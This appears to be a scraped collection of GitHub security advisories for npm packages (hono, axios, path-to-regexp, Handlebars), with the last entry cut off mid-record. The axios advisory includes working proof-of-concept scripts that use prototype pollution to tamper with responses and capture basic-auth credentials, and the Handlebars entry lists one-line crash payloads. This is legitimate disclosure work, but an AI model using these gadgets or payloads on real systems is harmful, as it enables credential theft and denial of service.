When untrusted input is used as a tag name via the programmatic jsx() or createElement() APIs during server-side rendering, specially crafted values may break out of the intended element context and inject unintended HTML.
Details
When rendering JSX elements to HTML strings, attribute values are escaped and attribute names are validated. However, element tag names were previously inserted into the output without validation.
If a tag name contains characters such as <, >, quotes, or whitespace, it may alter the structure of the generated HTML.
For example, malformed tag names can:
- Break out of the intended element and introduce unintended HTML elements
- Inject attributes or event handlers into the rendered output
This issue arises when untrusted input (such as query parameters or database content) is used as JSX tag names via jsx() or createElement() during server-side rendering.
Impact
An attacker who can control tag names used in JSX rendering may inject unintended HTML into the generated output.
This may lead to:
- Injection of unexpected HTML elements or attributes
- Corruption of the HTML structure
- Cross-site scripting (XSS) when combined with unsafe usage patterns
This issue only affects applications that construct JSX tag names from untrusted input. Applications using static or allowlisted tag names are not affected.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "hono"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.12.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44455"
],
"database_specific": {
"cwe_ids": [
"CWE-74"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T23:49:43Z",
"nvd_published_at": "2026-05-13T16:16:57Z",
"severity": "MODERATE"
},
"details": "## Summary\n\nImproper handling of JSX element tag names in hono/jsx allowed unvalidated tag names to be directly inserted into the generated HTML output.\n\nWhen untrusted input is used as a tag name via the programmatic `jsx()` or `createElement()` APIs during server-side rendering, specially crafted values may break out of the intended element context and inject unintended HTML.\n\n## Details\n\nWhen rendering JSX elements to HTML strings, attribute values are escaped and attribute names are validated. However, element tag names were previously inserted into the output without validation.\n\nIf a tag name contains characters such as `\u003c`, `\u003e`, quotes, or whitespace, it may alter the structure of the generated HTML.\n\nFor example, malformed tag names can:\n\n* Break out of the intended element and introduce unintended HTML elements\n* Inject attributes or event handlers into the rendered output\n\nThis issue arises when untrusted input (such as query parameters or database content) is used as JSX tag names via `jsx()` or `createElement()` during server-side rendering.\n\n## Impact\n\nAn attacker who can control tag names used in JSX rendering may inject unintended HTML into the generated output.\n\nThis may lead to:\n\n* Injection of unexpected HTML elements or attributes\n* Corruption of the HTML structure\n* Cross-site scripting (XSS) when combined with unsafe usage patterns\n\nThis issue only affects applications that construct JSX tag names from untrusted input. Applications using static or allowlisted tag names are not affected.",
"id": "GHSA-69xw-7hcm-h432",
"modified": "2026-05-14T20:31:59Z",
"published": "2026-05-06T23:49:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/honojs/hono/security/advisories/GHSA-69xw-7hcm-h432"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44455"
},
{
"type": "PACKAGE",
"url": "https://github.com/honojs/hono"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "hono/jsx has Unvalidated JSX Tag Names that May Allow HTML Injection"
}
GHSA-PF86-5X62-JRWF
Vulnerability from github – Published: 2026-05-05 00:26 – Updated: 2026-05-05 00:26Summary
When Object.prototype has been polluted by any co-dependency with keys that axios reads without a hasOwnProperty guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash < 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.
Background: how mergeConfig builds the config object
Every axios request goes through Axios._request in lib/core/Axios.js#L76:
config = mergeConfig(this.defaults, config);
Inside mergeConfig, the merged config is built as a plain {} object (lib/core/mergeConfig.js#L20):
const config = {};
A plain {} inherits from Object.prototype. mergeConfig only iterates Object.keys({ ...config1, ...config2 }) (line 99), which is a spread of own properties. Any key that is absent from both this.defaults and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to Object.prototype. That is the root mechanism behind all gadgets below.
Gadget 1: parseReviver -- response tampering and exfiltration
Introduced in: v1.12.0 (commit 2a97634, PR #5926) Affected range: >= 1.12.0, <= 1.13.6
Root cause
The default transformResponse function calls JSON.parse(data, this.parseReviver):
return JSON.parse(data, this.parseReviver);
this is the merged config. parseReviver is not present in defaults and is not in the mergeMap inside mergeConfig. It is never set as an own property on the merged config. Accessing this.parseReviver therefore walks the prototype chain.
The call fires by default on every string response body because lib/defaults/transitional.js#L5 sets:
forcedJSONParsing: true,
which activates the JSON parse path unconditionally when responseType is unset.
JSON.parse(text, reviver) calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver's return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.
There is no interaction with assertOptions here. The assertOptions call in Axios._request (line 119) iterates Object.keys(config), and since parseReviver was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before transformResponse does.
Verification: own-property check
import { createRequire } from 'module';
const require = createRequire(import.meta.url);
const mergeConfig = require('./lib/core/mergeConfig.js').default;
const defaults = require('./lib/defaults/index.js').default;
const merged = mergeConfig(defaults, { url: '/test', method: 'get' });
console.log(Object.prototype.hasOwnProperty.call(merged, 'parseReviver')); // false
console.log(merged.parseReviver); // undefined (no pollution)
Object.prototype.parseReviver = function(k, v) { return v; };
console.log(merged.parseReviver); // [Function (anonymous)] -- inherited
delete Object.prototype.parseReviver;
Proof of concept
Two terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.
Terminal 1 -- server (server_gadget1.mjs):
import http from 'http';
const server = http.createServer((req, res) => {
console.log('[server] request:', req.method, req.url);
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end(JSON.stringify({ role: 'user', balance: 100, token: 'tok_real_abc' }));
});
server.listen(19003, '127.0.0.1', () => {
console.log('[server] listening on 127.0.0.1:19003');
});
$ node server_gadget1.mjs
[server] listening on 127.0.0.1:19003
[server] request: GET /
Terminal 2 -- client (poc_parsereviver.mjs):
import axios from 'axios';
// Simulate pollution arriving from a co-dependency (e.g. lodash < 4.17.21 via _.merge).
// In a real application this would be set before any axios request runs.
Object.prototype.parseReviver = function (key, value) {
// Called for every key-value pair in every JSON response parsed by axios in this process.
if (key !== '') {
// Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.
console.log('[exfil]', key, '=', JSON.stringify(value));
}
// Tamper: escalate role, inflate balance.
if (key === 'role') return 'admin';
if (key === 'balance') return 999999;
return value;
};
const res = await axios.get('http://127.0.0.1:19003/');
console.log('[app] received:', JSON.stringify(res.data));
delete Object.prototype.parseReviver;
$ node poc_parsereviver.mjs
[exfil] role = "user"
[exfil] balance = 100
[exfil] token = "tok_real_abc"
[app] received: {"role":"admin","balance":999999,"token":"tok_real_abc"}
The server sent role: user. The application received role: admin. The response is silently modified in place; no error is thrown, no log entry is produced.
Gadget 2: transport -- full HTTP request hijacking with credentials
Introduced in: early adapter refactor, present across 0.x and 1.x Affected range: >= 0.19.0, <= 1.13.6 (Node.js http adapter only)
Root cause
Inside the Node.js http adapter at lib/adapters/http.js#L676:
if (config.transport) {
transport = config.transport;
}
transport is listed in mergeMap inside mergeConfig (line 88):
transport: defaultToConfig2,
but it is not present in lib/defaults/index.js at all. mergeConfig iterates Object.keys({ ...config1, ...config2 }) (line 99). Since config1 (the defaults) has no transport key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to Object.prototype.
The fix in v1.13.5 (PR #7369) added a hasOwnProp check for mergeMap access, but the iteration set itself is the issue -- transport simply never enters it. The fix does not address this.
The transport interface is { request(options, handleResponseCallback) }. The options object passed to transport.request at adapter runtime contains:
options.hostname,options.port,options.path-- full target URLoptions.auth-- basic auth credentials in"username:password"form (set at line 606)options.headers-- all request headers as a plain object
Proof of concept
Two terminals. The server is a legitimate API endpoint that processes the request normally. The client's process has been affected by prototype pollution.
Terminal 1 -- server (server_gadget2.mjs):
import http from 'http';
const server = http.createServer((req, res) => {
console.log('[server] request:', req.method, req.url, 'auth:', req.headers.authorization || '(none)');
res.writeHead(200, { 'Content-Type': 'application/json' });
res.end('{"ok":true}');
});
server.listen(19002, '127.0.0.1', () => {
console.log('[server] listening on 127.0.0.1:19002');
});
$ node server_gadget2.mjs
[server] listening on 127.0.0.1:19002
[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==
Terminal 2 -- client (poc_transport.mjs):
import axios from 'axios';
import http from 'http';
Object.prototype.transport = {
request(options, handleResponse) {
// Intercept: called for every outbound request in this process.
console.log('[hijack] target:', options.hostname + ':' + options.port + options.path);
console.log('[hijack] auth:', options.auth);
console.log('[hijack] headers:', JSON.stringify(options.headers));
// Forward to the real transport so the caller sees a normal 200.
return http.request(options, handleResponse);
},
};
const res = await axios.get('http://127.0.0.1:19002/api/users', {
auth: { username: 'svc_account', password: 'hunter2' },
});
console.log('[app] response status:', res.status);
delete Object.prototype.transport;
$ node poc_transport.mjs
[hijack] target: 127.0.0.1:19002/api/users
[hijack] auth: svc_account:hunter2
[hijack] headers: {"Accept":"application/json, text/plain, */*","User-Agent":"axios/1.13.6","Accept-Encoding":"gzip, compress, deflate, br"}
[app] response status: 200
The basic auth credentials are fully visible to the attacker's transport function. The request completes normally from the caller's perspective.
Additional gadget: transformRequest / transformResponse
Separately, mergeConfig reads config2[prop] at line 102 without a hasOwnProperty guard. For keys like transformRequest and transformResponse that are present in defaults (and therefore processed by the mergeMap loop), if Object.prototype.transformRequest is polluted before the request, config2["transformRequest"] inherits the polluted value and defaultToConfig2 replaces the safe default transforms with the attacker's function.
This one requires a discriminator because assertOptions in Axios._request (line 119) reads schema[opt] for every key in the merged config's own keys, and schema["transformRequest"] also inherits from Object.prototype, causing it to call the polluted value as a validator. The gadget function needs to return true when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the transformData call).
Both transformRequest (fires with request body) and transformResponse (fires with response body) are confirmed affected. Range: >= 0.19.0, <= 1.13.6.
Why the existing fix does not cover these
PR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing {"__proto__": {"x": 1}} as the config object, which caused mergeMap['__proto__'] to resolve to Object.prototype (a non-function), crashing axios. The fix added an explicit block on __proto__, constructor, and prototype as config keys, and changed mergeMap[prop] to utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ....
That fix only addresses config keys that are explicitly set to __proto__ (or similar) by the caller. It does not add hasOwnProperty guards on the value reads (config2[prop] at line 102, this.parseReviver, config.transport). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.
Suggested fixes
For parseReviver (lib/defaults/index.js#L124):
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver') ? this.parseReviver : undefined;
return JSON.parse(data, reviver);
For mergeConfig value reads (lib/core/mergeConfig.js#L102):
const configValue = merge(
config1[prop],
utils.hasOwnProp(config2, prop) ? config2[prop] : undefined,
prop
);
For transport and other adapter reads from config (lib/adapters/http.js#L676):
if (utils.hasOwnProp(config, 'transport') && config.transport) {
transport = config.transport;
}
The same hasOwnProp pattern applies to lookup, httpVersion, http2Options, family, and formSerializer reads in the adapter.
Environment
- axios: 1.13.6
- Node.js: 22.22.0
- OS: macOS 14
- Reproduction: confirmed in isolated test harness, both gadgets independently verified
Disclosure
Reported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.31.0"
},
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.31.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42033"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:26:29Z",
"nvd_published_at": "2026-04-24T18:16:29Z",
"severity": "HIGH"
},
"details": "## Summary\n\nWhen `Object.prototype` has been polluted by any co-dependency with keys that axios reads without a `hasOwnProperty` guard, an attacker can (a) silently intercept and modify every JSON response before the application sees it, or (b) fully hijack the underlying HTTP transport, gaining access to request credentials, headers, and body. The precondition is prototype pollution from a separate source in the same process -- lodash \u003c 4.17.21, or any of several other common npm packages with known PP vectors. The two gadgets confirmed here work independently.\n\n---\n\n## Background: how mergeConfig builds the config object\n\nEvery axios request goes through `Axios._request` in [`lib/core/Axios.js#L76`](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L76):\n\n```js\nconfig = mergeConfig(this.defaults, config);\n```\n\nInside `mergeConfig`, the merged config is built as a plain `{}` object ([`lib/core/mergeConfig.js#L20`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L20)):\n\n```js\nconst config = {};\n```\n\nA plain `{}` inherits from `Object.prototype`. `mergeConfig` only iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)), which is a spread of own properties. Any key that is absent from both `this.defaults` and the per-request config will never be set as an own property on the merged config. Reading that key later on the merged config falls through to `Object.prototype`. That is the root mechanism behind all gadgets below.\n\n---\n\n## Gadget 1: parseReviver -- response tampering and exfiltration\n\n**Introduced in:** v1.12.0 (commit 2a97634, PR #5926)\n**Affected range:** \u003e= 1.12.0, \u003c= 1.13.6\n\n### Root cause\n\nThe default `transformResponse` function calls [`JSON.parse(data, this.parseReviver)`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124):\n\n```js\nreturn JSON.parse(data, this.parseReviver);\n```\n\n`this` is the merged config. `parseReviver` is not present in `defaults` and is not in the `mergeMap` inside `mergeConfig`. It is never set as an own property on the merged config. Accessing `this.parseReviver` therefore walks the prototype chain.\n\nThe call fires by default on every string response body because [`lib/defaults/transitional.js#L5`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/transitional.js#L5) sets:\n\n```js\nforcedJSONParsing: true,\n```\n\nwhich activates the JSON parse path unconditionally when `responseType` is unset.\n\n`JSON.parse(text, reviver)` calls the reviver for every key-value pair in the parsed result, bottom-up. The reviver\u0027s return value is what the caller receives. An attacker-controlled reviver can both observe every key-value pair and silently replace values.\n\nThere is no interaction with `assertOptions` here. The `assertOptions` call in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) iterates `Object.keys(config)`, and since `parseReviver` was never set as an own property, it is not in that list. Nothing validates or invokes the polluted function before `transformResponse` does.\n\n### Verification: own-property check\n\n```js\nimport { createRequire } from \u0027module\u0027;\nconst require = createRequire(import.meta.url);\nconst mergeConfig = require(\u0027./lib/core/mergeConfig.js\u0027).default;\nconst defaults = require(\u0027./lib/defaults/index.js\u0027).default;\n\nconst merged = mergeConfig(defaults, { url: \u0027/test\u0027, method: \u0027get\u0027 });\nconsole.log(Object.prototype.hasOwnProperty.call(merged, \u0027parseReviver\u0027)); // false\nconsole.log(merged.parseReviver); // undefined (no pollution)\n\nObject.prototype.parseReviver = function(k, v) { return v; };\nconsole.log(merged.parseReviver); // [Function (anonymous)] -- inherited\ndelete Object.prototype.parseReviver;\n```\n\n### Proof of concept\n\nTwo terminals. The server simulates a legitimate API endpoint. The client simulates a Node.js application whose process has been affected by prototype pollution from a co-dependency.\n\n**Terminal 1 -- server (`server_gadget1.mjs`):**\n\n```js\nimport http from \u0027http\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n console.log(\u0027[server] request:\u0027, req.method, req.url);\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n res.end(JSON.stringify({ role: \u0027user\u0027, balance: 100, token: \u0027tok_real_abc\u0027 }));\n});\n\nserver.listen(19003, \u0027127.0.0.1\u0027, () =\u003e {\n console.log(\u0027[server] listening on 127.0.0.1:19003\u0027);\n});\n```\n\n```\n$ node server_gadget1.mjs\n[server] listening on 127.0.0.1:19003\n[server] request: GET /\n```\n\n**Terminal 2 -- client (`poc_parsereviver.mjs`):**\n\n```js\nimport axios from \u0027axios\u0027;\n\n// Simulate pollution arriving from a co-dependency (e.g. lodash \u003c 4.17.21 via _.merge).\n// In a real application this would be set before any axios request runs.\nObject.prototype.parseReviver = function (key, value) {\n // Called for every key-value pair in every JSON response parsed by axios in this process.\n if (key !== \u0027\u0027) {\n // Exfiltrate: in a real attack this would POST to an attacker-controlled endpoint.\n console.log(\u0027[exfil]\u0027, key, \u0027=\u0027, JSON.stringify(value));\n }\n // Tamper: escalate role, inflate balance.\n if (key === \u0027role\u0027) return \u0027admin\u0027;\n if (key === \u0027balance\u0027) return 999999;\n return value;\n};\n\nconst res = await axios.get(\u0027http://127.0.0.1:19003/\u0027);\nconsole.log(\u0027[app] received:\u0027, JSON.stringify(res.data));\n\ndelete Object.prototype.parseReviver;\n```\n\n```\n$ node poc_parsereviver.mjs\n[exfil] role = \"user\"\n[exfil] balance = 100\n[exfil] token = \"tok_real_abc\"\n[app] received: {\"role\":\"admin\",\"balance\":999999,\"token\":\"tok_real_abc\"}\n```\n\nThe server sent `role: user`. The application received `role: admin`. The response is silently modified in place; no error is thrown, no log entry is produced.\n\n---\n\n## Gadget 2: transport -- full HTTP request hijacking with credentials\n\n**Introduced in:** early adapter refactor, present across 0.x and 1.x\n**Affected range:** \u003e= 0.19.0, \u003c= 1.13.6 (Node.js http adapter only)\n\n### Root cause\n\nInside the Node.js http adapter at [`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676):\n\n```js\nif (config.transport) {\n transport = config.transport;\n}\n```\n\n`transport` is listed in `mergeMap` inside `mergeConfig` ([line 88](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L88)):\n\n```js\ntransport: defaultToConfig2,\n```\n\nbut it is not present in [`lib/defaults/index.js`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js) at all. `mergeConfig` iterates `Object.keys({ ...config1, ...config2 })` ([line 99](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L99)). Since `config1` (the defaults) has no `transport` key and a typical per-request config has none either, the key never enters the loop. It is never set as an own property on the merged config. The read at line 676 falls through to `Object.prototype`.\n\nThe fix in v1.13.5 (PR #7369) added a `hasOwnProp` check for `mergeMap` access, but the iteration set itself is the issue -- `transport` simply never enters it. The fix does not address this.\n\nThe transport interface is `{ request(options, handleResponseCallback) }`. The options object passed to `transport.request` at adapter runtime contains:\n\n- `options.hostname`, `options.port`, `options.path` -- full target URL\n- `options.auth` -- basic auth credentials in `\"username:password\"` form (set at [line 606](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L606))\n- `options.headers` -- all request headers as a plain object\n\n### Proof of concept\n\nTwo terminals. The server is a legitimate API endpoint that processes the request normally. The client\u0027s process has been affected by prototype pollution.\n\n**Terminal 1 -- server (`server_gadget2.mjs`):**\n\n```js\nimport http from \u0027http\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n console.log(\u0027[server] request:\u0027, req.method, req.url, \u0027auth:\u0027, req.headers.authorization || \u0027(none)\u0027);\n res.writeHead(200, { \u0027Content-Type\u0027: \u0027application/json\u0027 });\n res.end(\u0027{\"ok\":true}\u0027);\n});\n\nserver.listen(19002, \u0027127.0.0.1\u0027, () =\u003e {\n console.log(\u0027[server] listening on 127.0.0.1:19002\u0027);\n});\n```\n\n```\n$ node server_gadget2.mjs\n[server] listening on 127.0.0.1:19002\n[server] request: GET /api/users auth: Basic c3ZjX2FjY291bnQ6aHVudGVyMg==\n```\n\n**Terminal 2 -- client (`poc_transport.mjs`):**\n\n```js\nimport axios from \u0027axios\u0027;\nimport http from \u0027http\u0027;\n\nObject.prototype.transport = {\n request(options, handleResponse) {\n // Intercept: called for every outbound request in this process.\n console.log(\u0027[hijack] target:\u0027, options.hostname + \u0027:\u0027 + options.port + options.path);\n console.log(\u0027[hijack] auth:\u0027, options.auth);\n console.log(\u0027[hijack] headers:\u0027, JSON.stringify(options.headers));\n // Forward to the real transport so the caller sees a normal 200.\n return http.request(options, handleResponse);\n },\n};\n\nconst res = await axios.get(\u0027http://127.0.0.1:19002/api/users\u0027, {\n auth: { username: \u0027svc_account\u0027, password: \u0027hunter2\u0027 },\n});\nconsole.log(\u0027[app] response status:\u0027, res.status);\n\ndelete Object.prototype.transport;\n```\n\n```\n$ node poc_transport.mjs\n[hijack] target: 127.0.0.1:19002/api/users\n[hijack] auth: svc_account:hunter2\n[hijack] headers: {\"Accept\":\"application/json, text/plain, */*\",\"User-Agent\":\"axios/1.13.6\",\"Accept-Encoding\":\"gzip, compress, deflate, br\"}\n[app] response status: 200\n```\n\nThe basic auth credentials are fully visible to the attacker\u0027s transport function. The request completes normally from the caller\u0027s perspective.\n\n---\n\n## Additional gadget: transformRequest / transformResponse\n\nSeparately, `mergeConfig` reads `config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102) without a `hasOwnProperty` guard. For keys like `transformRequest` and `transformResponse` that are present in `defaults` (and therefore processed by the mergeMap loop), if `Object.prototype.transformRequest` is polluted before the request, `config2[\"transformRequest\"]` inherits the polluted value and `defaultToConfig2` replaces the safe default transforms with the attacker\u0027s function.\n\nThis one requires a discriminator because `assertOptions` in `Axios._request` ([line 119](https://github.com/axios/axios/blob/v1.13.6/lib/core/Axios.js#L119)) reads `schema[opt]` for every key in the merged config\u0027s own keys, and `schema[\"transformRequest\"]` also inherits from `Object.prototype`, causing it to call the polluted value as a validator. The gadget function needs to return `true` when its first argument is a function (the assertOptions call) and perform the attack when its first argument is data (the [`transformData`](https://github.com/axios/axios/blob/v1.13.6/lib/core/transformData.js#L22) call).\n\nBoth `transformRequest` (fires with request body) and `transformResponse` (fires with response body) are confirmed affected. Range: \u003e= 0.19.0, \u003c= 1.13.6.\n\n---\n\n## Why the existing fix does not cover these\n\nPR #7369 / CVE-2026-25639 (fixed in v1.13.5) addressed a separate class: passing `{\"__proto__\": {\"x\": 1}}` as the config object, which caused `mergeMap[\u0027__proto__\u0027]` to resolve to `Object.prototype` (a non-function), crashing axios. The fix added an explicit block on `__proto__`, `constructor`, and `prototype` as config keys, and changed `mergeMap[prop]` to `utils.hasOwnProp(mergeMap, prop) ? mergeMap[prop] : ...`.\n\nThat fix only addresses config keys that are explicitly set to `__proto__` (or similar) by the caller. It does not add `hasOwnProperty` guards on the value reads (`config2[prop]` at [line 102](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102), `this.parseReviver`, `config.transport`). An application using a PP-vulnerable co-dependency and making axios requests is still fully exposed after upgrading to 1.13.5 or 1.13.6.\n\n---\n\n## Suggested fixes\n\nFor `parseReviver` ([`lib/defaults/index.js#L124`](https://github.com/axios/axios/blob/v1.13.6/lib/defaults/index.js#L124)):\n```js\nconst reviver = Object.prototype.hasOwnProperty.call(this, \u0027parseReviver\u0027) ? this.parseReviver : undefined;\nreturn JSON.parse(data, reviver);\n```\n\nFor `mergeConfig` value reads ([`lib/core/mergeConfig.js#L102`](https://github.com/axios/axios/blob/v1.13.6/lib/core/mergeConfig.js#L102)):\n```js\nconst configValue = merge(\n config1[prop],\n utils.hasOwnProp(config2, prop) ? config2[prop] : undefined,\n prop\n);\n```\n\nFor `transport` and other adapter reads from config ([`lib/adapters/http.js#L676`](https://github.com/axios/axios/blob/v1.13.6/lib/adapters/http.js#L676)):\n```js\nif (utils.hasOwnProp(config, \u0027transport\u0027) \u0026\u0026 config.transport) {\n transport = config.transport;\n}\n```\n\nThe same `hasOwnProp` pattern applies to `lookup`, `httpVersion`, `http2Options`, `family`, and `formSerializer` reads in the adapter.\n\n---\n\n## Environment\n\n- axios: 1.13.6\n- Node.js: 22.22.0\n- OS: macOS 14\n- Reproduction: confirmed in isolated test harness, both gadgets independently verified\n\n## Disclosure\n\nReported via GitHub Security Advisories at https://github.com/axios/axios/security/advisories/new per the axios security policy.",
"id": "GHSA-pf86-5x62-jrwf",
"modified": "2026-05-05T00:26:30Z",
"published": "2026-05-05T00:26:29Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-pf86-5x62-jrwf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42033"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: Prototype Pollution Gadgets - Response Tampering, Data Exfiltration, and Request Hijacking"
}
GHSA-J3Q9-MXJG-W52F
Vulnerability from github – Published: 2026-03-27 22:23 – Updated: 2026-03-27 22:23Impact
A bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as {a}{b}{c}:z. The generated regex grows exponentially with the number of groups, causing denial of service.
Patches
Fixed in version 8.4.0.
Workarounds
Limit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "path-to-regexp"
},
"ranges": [
{
"events": [
{
"introduced": "8.0.0"
},
{
"fixed": "8.4.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-4926"
],
"database_specific": {
"cwe_ids": [
"CWE-1333",
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T22:23:27Z",
"nvd_published_at": "2026-03-26T19:17:08Z",
"severity": "HIGH"
},
"details": "### Impact\n\nA bad regular expression is generated any time you have multiple sequential optional groups (curly brace syntax), such as `{a}{b}{c}:z`. The generated regex grows exponentially with the number of groups, causing denial of service.\n\n### Patches\n\nFixed in version 8.4.0.\n\n### Workarounds\n\nLimit the number of sequential optional groups in route patterns. Avoid passing user-controlled input as route patterns.",
"id": "GHSA-j3q9-mxjg-w52f",
"modified": "2026-03-27T22:23:27Z",
"published": "2026-03-27T22:23:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pillarjs/path-to-regexp/security/advisories/GHSA-j3q9-mxjg-w52f"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-4926"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/pillarjs/path-to-regexp"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "path-to-regexp vulnerable to Denial of Service via sequential optional groups"
}
GHSA-9CX6-37PM-9JFF
Vulnerability from github – Published: 2026-03-27 18:21 – Updated: 2026-03-30 20:08Summary
When a Handlebars template contains decorator syntax referencing an unregistered decorator (e.g. {{*n}}), the compiled template calls lookupProperty(decorators, "n"), which returns undefined. The runtime then immediately invokes the result as a function, causing an unhandled TypeError: ... is not a function that crashes the Node.js process. Any application that compiles user-supplied templates without wrapping the call in a try/catch is vulnerable to a single-request Denial of Service.
Description
In lib/handlebars/compiler/javascript-compiler.js, the code generated for a decorator invocation looks like:
fn = lookupProperty(decorators, "n")(fn, props, container, options) || fn;
When "n" is not a registered decorator, lookupProperty(decorators, "n") returns undefined. The expression immediately attempts to call undefined as a function, producing:
TypeError: lookupProperty(...) is not a function
Because the error is thrown inside the compiled template function and is not caught by the runtime, it propagates up as an unhandled exception and — when not caught by the application — crashes the Node.js process.
This inconsistency is notable: references to unregistered helpers produce a clean "Missing helper: ..." error, while references to unregistered decorators cause a hard crash.
Attack scenario: An attacker submits {{*n}} as template content to any endpoint that calls Handlebars.compile(userInput)(). Each request crashes the server process; with process managers that auto-restart (PM2, systemd), repeated submissions create a persistent DoS.
Proof of Concept
const Handlebars = require('handlebars'); // Handlebars 4.7.8, Node.js v22.x
// Any of these payloads crash the process
Handlebars.compile('{{*n}}')({});
Handlebars.compile('{{*decorator}}')({});
Handlebars.compile('{{*constructor}}')({});
Expected crash output:
TypeError: lookupProperty(...) is not a function
at Function.eval [as decorator] (eval at compile (...javascript-compiler.js:134:36))
Workarounds
- Wrap compilation and rendering in
try/catch:javascript try { const result = Handlebars.compile(userInput)(context); res.send(result); } catch (err) { res.status(400).send('Invalid template'); } - Validate template input before passing it to
compile(). Reject templates containing decorator syntax ({{*...}}) if decorators are not used in your application. - Use the pre-compilation workflow: compile templates at build time and serve only pre-compiled templates; do not call
compile()at request time.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.7.8"
},
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33939"
],
"database_specific": {
"cwe_ids": [
"CWE-754"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T18:21:15Z",
"nvd_published_at": "2026-03-27T22:16:20Z",
"severity": "HIGH"
},
